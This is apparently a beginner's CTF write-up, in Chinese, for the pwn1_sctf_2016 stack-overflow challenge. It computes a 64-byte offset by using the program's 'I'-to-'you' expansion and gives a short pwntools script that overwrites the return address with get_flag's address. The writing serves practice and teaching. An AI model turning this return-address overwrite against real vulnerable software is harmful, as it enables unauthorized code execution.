小白垃圾笔记而已,不建议阅读。
唉,因为没有在一开始创建flag文件,导致调试了半天也没有找到问题所在。
这道题是这样的:
main函数调用vuln函数

其实在程序中还有一个get_flag函数:
![]()

我们可以将返回地址覆盖成它。

覆盖这个地址也是可以的:

然后是vuln函数:

很懵逼,看不懂,大佬说是将I换成you。去试了下确实。问了下chat竟然给弄反了。
好吧,还是计算偏移把。
经过调试验证ida的分析是正确的:
s的偏移是3c也就是60个字节,不要忘记我们还需要4个字节来填充ebp
60+4=64
而我们最终是要让前边填充的是64
64=3*16+1
为什么是3*16呢?因为我们每输入一个I就会变成you
也就是从一个字节变成三个字节。
我用的是python2,不用在字母前加b,python3需要加b
还有就是卡住我一下午的地方。记得在当前目录下创建一个flag.txt.......
exp
from pwn import *
p=process('./pwn1_sctf_2016')
#context.log_level='debug'
#pause()
payload='I'*21+'a'+p32(0x08048F13)#p.recvuntil(":")
p.sendline(payload)
p.interactive()

远程也没有问题
remote就好。



















![[Golang] 设计模式以及单例设计模式实例实现](https://img-blog.csdnimg.cn/290cb82ff7834878aff2daa6c4a0bf4f.gif#pic_center)